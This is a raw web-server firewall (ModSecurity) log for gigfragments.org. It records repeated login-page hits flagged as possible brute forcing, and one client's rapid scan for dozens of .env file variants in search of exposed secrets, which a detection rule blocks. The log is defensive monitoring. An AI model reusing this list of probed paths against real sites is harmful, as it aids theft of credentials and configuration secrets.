[Wed Jan 28 22:23:36.709351 2026] [:error] [pid 42740:tid 42746] [client 135.181.131.55:36486] [client 135.181.131.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 135.181.131.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXob6FnjAS34srJlXgS6pwAAAIQ"]
[Wed Jan 28 22:23:40.879656 2026] [:error] [pid 42740:tid 42742] [client 135.181.131.55:36486] [client 135.181.131.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 135.181.131.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXob7FnjAS34srJlXgS6rAAAAIA"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 22:30:35.849443 2026] [:error] [pid 33491:tid 33569] [client 69.197.191.106:36140] [client 69.197.191.106] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.197.191.106, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXodi2P9UY0x3irkINBLDwAAANI"]
[Wed Jan 28 22:30:37.565675 2026] [:error] [pid 33491:tid 33562] [client 69.197.191.106:36140] [client 69.197.191.106] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.197.191.106, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXodjWP9UY0x3irkINBLFAAAAMs"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 22:30:52.271644 2026] [:error] [pid 24482:tid 24486] [client 213.32.30.71:20245] [client 213.32.30.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.32.30.71, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXodnKLaUZr_xWekSHO9FAAAAcA"]
[Wed Jan 28 22:30:53.760882 2026] [:error] [pid 24482:tid 24488] [client 213.32.30.71:20245] [client 213.32.30.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.32.30.71, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXodnaLaUZr_xWekSHO9FQAAAcI"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 22:30:54.208527 2026] [:error] [pid 33636:tid 33648] [client 18.176.112.58:36392] [client 18.176.112.58] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.176.112.58, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXodntIVZAudQH0BSC5S7gAAAgo"]
[Wed Jan 28 22:30:55.584310 2026] [:error] [pid 33636:tid 33640] [client 18.176.112.58:36392] [client 18.176.112.58] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.176.112.58, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXodn9IVZAudQH0BSC5S8QAAAgI"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 22:31:59.109023 2026] [:error] [pid 33636:tid 33644] [client 18.176.112.58:51946] [client 18.176.112.58] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.176.112.58, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXod39IVZAudQH0BSC5TMQAAAgY"]
[Wed Jan 28 22:32:01.003246 2026] [:error] [pid 33636:tid 33658] [client 18.176.112.58:51946] [client 18.176.112.58] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.176.112.58, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXod4dIVZAudQH0BSC5TNgAAAhQ"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 22:33:34.364798 2026] [:error] [pid 24482:tid 24499] [client 213.32.30.71:44068] [client 213.32.30.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.32.30.71, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoePqLaUZr_xWekSHO9wAAAAc0"]
[Wed Jan 28 22:33:36.137368 2026] [:error] [pid 24482:tid 24507] [client 213.32.30.71:44068] [client 213.32.30.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.32.30.71, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoeQKLaUZr_xWekSHO9wgAAAdU"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 22:35:43.071610 2026] [:error] [pid 33489:tid 33510] [client 103.191.240.165:45302] [client 103.191.240.165] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.191.240.165, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoevxZrVZwQUFWC7_9mFwAAABE"]
[Wed Jan 28 22:36:32.617457 2026] [:error] [pid 24452:tid 24456] [client 103.74.123.7:54930] [client 103.74.123.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.74.123.7, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoe8P0RQOh_GmqmVyaUlQAAAYI"]
[Wed Jan 28 22:36:34.386487 2026] [:error] [pid 24452:tid 24466] [client 103.74.123.7:54930] [client 103.74.123.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.74.123.7, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoe8v0RQOh_GmqmVyaUmAAAAYw"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 22:45:12.899984 2026] [:error] [pid 33491:tid 33562] [client 34.30.170.78:38144] [client 34.30.170.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.30.170.78, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXog-GP9UY0x3irkINBOxAAAAMs"]
[Wed Jan 28 22:45:15.676151 2026] [:error] [pid 33491:tid 33564] [client 34.30.170.78:38144] [client 34.30.170.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.30.170.78, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXog-2P9UY0x3irkINBOxwAAAM0"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 22:49:31.922354 2026] [:error] [pid 33490:tid 33530] [client 159.223.103.141:36060] [client 159.223.103.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.103.141, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXoh-2jexcy58gsBPJHhOAAAAEY"]
[Wed Jan 28 22:57:30.805349 2026] [:error] [pid 24452:tid 24463] [client 172.191.197.110:46518] [client 172.191.197.110] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.191.197.110, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoj2v0RQOh_GmqmVyabbAAAAYk"]
[Wed Jan 28 22:57:34.996904 2026] [:error] [pid 24452:tid 24465] [client 172.191.197.110:46518] [client 172.191.197.110] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.191.197.110, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoj3v0RQOh_GmqmVyabewAAAYs"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 23:09:35.953690 2026] [:error] [pid 33489:tid 33507] [client 54.254.204.17:60502] [client 54.254.204.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aXomrxZrVZwQUFWC7_9tcQAAAA4"], referer: https://www.google.com/
[Wed Jan 28 23:09:36.305676 2026] [:error] [pid 33490:tid 33539] [client 54.254.204.17:60508] [client 54.254.204.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.local"] [unique_id "aXomsGjexcy58gsBPJHoKAAAAE8"], referer: https://www.google.com/
[Wed Jan 28 23:09:36.658800 2026] [:error] [pid 24482:tid 24495] [client 54.254.204.17:60514] [client 54.254.204.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.production"] [unique_id "aXomsKLaUZr_xWekSHPGXQAAAck"], referer: https://www.google.com/
[Wed Jan 28 23:09:37.011662 2026] [:error] [pid 33489:tid 33500] [client 54.254.204.17:60530] [client 54.254.204.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.development"] [unique_id "aXomsRZrVZwQUFWC7_9tdAAAAAc"], referer: https://www.google.com/
[Wed Jan 28 23:09:37.363148 2026] [:error] [pid 2625:tid 2644] [client 54.254.204.17:60542] [client 54.254.204.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.staging"] [unique_id "aXomsVZhY64HvuPd7w2EKwAAAU0"], referer: https://www.google.com/
[Wed Jan 28 23:09:37.715242 2026] [:error] [pid 33580:tid 33592] [client 54.254.204.17:60548] [client 54.254.204.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.prod"] [unique_id "aXomsZlb0QJtwfka8l54kAAAAQU"], referer: https://www.google.com/
[Wed Jan 28 23:09:38.066228 2026] [:error] [pid 33636:tid 33639] [client 54.254.204.17:60550] [client 54.254.204.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.dev"] [unique_id "aXomstIVZAudQH0BSC5aoQAAAgE"], referer: https://www.google.com/
[Wed Jan 28 23:09:38.416929 2026] [:error] [pid 33489:tid 33516] [client 54.254.204.17:60564] [client 54.254.204.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.test"] [unique_id "aXomshZrVZwQUFWC7_9teAAAABc"], referer: https://www.google.com/
[Wed Jan 28 23:09:38.798884 2026] [:error] [pid 33636:tid 33641] [client 54.254.204.17:60568] [client 54.254.204.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.backup"] [unique_id "aXomstIVZAudQH0BSC5apAAAAgM"], referer: https://www.google.com/
[Wed Jan 28 23:09:39.213532 2026] [:error] [pid 33636:tid 33646] [client 54.254.204.17:60576] [client 54.254.204.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.old"] [unique_id "aXoms9IVZAudQH0BSC5apQAAAgg"], referer: https://www.google.com/
[Wed Jan 28 23:09:39.599139 2026] [:error] [pid 42740:tid 42744] [client 54.254.204.17:60590] [client 54.254.204.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.bak"] [unique_id "aXoms1njAS34srJlXgTExgAAAII"], referer: https://www.google.com/
[Wed Jan 28 23:09:39.983525 2026] [:error] [pid 33489:tid 33501] [client 54.254.204.17:60604] [client 54.254.204.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.save"] [unique_id "aXomsxZrVZwQUFWC7_9tegAAAAg"], referer: https://www.google.com/
[Wed Jan 28 23:09:42.072282 2026] [:error] [pid 24452:tid 24464] [client 54.254.204.17:60618] [client 54.254.204.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.sample"] [unique_id "aXomtv0RQOh_GmqmVyaeygAAAYo"], referer: https://www.google.com/
[Wed Jan 28 23:09:42.423868 2026] [:error] [pid 33489:tid 33495] [client 54.254.204.17:60622] [client 54.254.204.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.example"] [unique_id "aXomthZrVZwQUFWC7_9tfQAAAAI"], referer: https://www.google.com/
[Wed Jan 28 23:09:42.775747 2026] [:error] [pid 24482:tid 24509] [client 54.254.204.17:60636] [client 54.254.204.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.dist"] [unique_id "aXomtqLaUZr_xWekSHPGYQAAAdc"], referer: https://www.google.com/
[Wed Jan 28 23:09:43.126744 2026] [:error] [pid 2625:tid 2654] [client 54.254.204.17:60646] [client 54.254.204.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.prod.local"] [unique_id "aXomt1ZhY64HvuPd7w2ENAAAAVc"], referer: https://www.google.com/
[Wed Jan 28 23:09:43.478714 2026] [:error] [pid 33636:tid 33643] [client 54.254.204.17:60660] [client 54.254.204.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.dev.local"] [unique_id "aXomt9IVZAudQH0BSC5aqgAAAgU"], referer: https://www.google.com/
[Wed Jan 28 23:09:43.833270 2026] [:error] [pid 2625:tid 2653] [client 54.254.204.17:60662] [client 54.254.204.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.remote"] [unique_id "aXomt1ZhY64HvuPd7w2EOQAAAVY"], referer: https://www.google.com/
[Wed Jan 28 23:09:44.185487 2026] [:error] [pid 24452:tid 24459] [client 54.254.204.17:60664] [client 54.254.204.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.1"] [unique_id "aXomuP0RQOh_GmqmVyaezAAAAYU"], referer: https://www.google.com/
[Wed Jan 28 23:09:44.537655 2026] [:error] [pid 24482:tid 24487] [client 54.254.204.17:60666] [client 54.254.204.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.2"] [unique_id "aXomuKLaUZr_xWekSHPGYwAAAcE"], referer: https://www.google.com/
[Wed Jan 28 23:09:44.889547 2026] [:error] [pid 42740:tid 42742] [client 54.254.204.17:60680] [client 54.254.204.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.3"] [unique_id "aXomuFnjAS34srJlXgTEzgAAAIA"], referer: https://www.google.com/
[Wed Jan 28 23:09:47.042398 2026] [:error] [pid 2625:tid 2638] [client 54.254.204.17:36560] [client 54.254.204.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.envs"] [unique_id "aXomu1ZhY64HvuPd7w2EPwAAAUc"], referer: https://www.google.com/
[Wed Jan 28 23:09:47.395667 2026] [:error] [pid 33491:tid 33566] [client 54.254.204.17:36564] [client 54.254.204.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/api/.env"] [unique_id "aXomu2P9UY0x3irkINBU3QAAAM8"], referer: https://www.google.com/
[Wed Jan 28 23:09:47.779478 2026] [:error] [pid 33490:tid 33541] [client 54.254.204.17:36574] [client 54.254.204.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/api/v1/.env"] [unique_id "aXomu2jexcy58gsBPJHoMQAAAFE"], referer: https://www.google.com/
[Wed Jan 28 23:09:48.164103 2026] [:error] [pid 33636:tid 33647] [client 54.254.204.17:36588] [client 54.254.204.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/api/v2/.env"] [unique_id "aXomvNIVZAudQH0BSC5asAAAAgk"], referer: https://www.google.com/
[Wed Jan 28 23:09:48.549821 2026] [:error] [pid 2625:tid 2635] [client 54.254.204.17:36602] [client 54.254.204.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/api/v3/.env"] [unique_id "aXomvFZhY64HvuPd7w2EQQAAAUQ"], referer: https://www.google.com/
[Wed Jan 28 23:09:48.935678 2026] [:error] [pid 33489:tid 33512] [client 54.254.204.17:36616] [client 54.254.204.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/rest/.env"] [unique_id "aXomvBZrVZwQUFWC7_9tfgAAABM"], referer: https://www.google.com/
[Wed Jan 28 23:09:49.288257 2026] [:error] [pid 33580:tid 33601] [client 54.254.204.17:36632] [client 54.254.204.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/backend/.env"] [unique_id "aXomvZlb0QJtwfka8l54lwAAAQ4"], referer: https://www.google.com/
[Wed Jan 28 23:09:49.644236 2026] [:error] [pid 33489:tid 33515] [client 54.254.204.17:36644] [client 54.254.204.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/backend/api/.env"] [unique_id "aXomvRZrVZwQUFWC7_9tfwAAABY"], referer: https://www.google.com/
[Wed Jan 28 23:09:49.997448 2026] [:error] [pid 24452:tid 24465] [client 54.254.204.17:36650] [client 54.254.204.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/server/.env"] [unique_id "aXomvf0RQOh_GmqmVyaezwAAAYs"], referer: https://www.google.com/
[Wed Jan 28 23:09:50.350039 2026] [:error] [pid 24482:tid 24498] [client 54.254.204.17:36664] [client 54.254.204.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/server/api/.env"] [unique_id "aXomvqLaUZr_xWekSHPGeAAAAcw"], referer: https://www.google.com/
[Wed Jan 28 23:09:50.702010 2026] [:error] [pid 24482:tid 24496] [client 54.254.204.17:36678] [client 54.254.204.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/graphql/.env"] [unique_id "aXomvqLaUZr_xWekSHPGegAAAco"], referer: https://www.google.com/
[Wed Jan 28 23:09:51.059348 2026] [:error] [pid 33490:tid 33530] [client 54.254.204.17:36694] [client 54.254.204.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/webhook/.env"] [unique_id "aXomv2jexcy58gsBPJHoNQAAAEY"], referer: https://www.google.com/
[Wed Jan 28 23:09:51.412288 2026] [:error] [pid 24482:tid 24509] [client 54.254.204.17:36698] [client 54.254.204.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/webhooks/.env"] [unique_id "aXomv6LaUZr_xWekSHPGfwAAAdc"], referer: https://www.google.com/
[Wed Jan 28 23:09:51.764320 2026] [:error] [pid 42740:tid 42756] [client 54.254.204.17:36700] [client 54.254.204.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/payment/.env"] [unique_id "aXomv1njAS34srJlXgTE0QAAAI4"], referer: https://www.google.com/
[Wed Jan 28 23:12:46.925954 2026] [:error] [pid 33636:tid 33662] [client 45.117.171.202:59286] [client 45.117.171.202] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.117.171.202, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXonbtIVZAudQH0BSC5bSwAAAhg"]
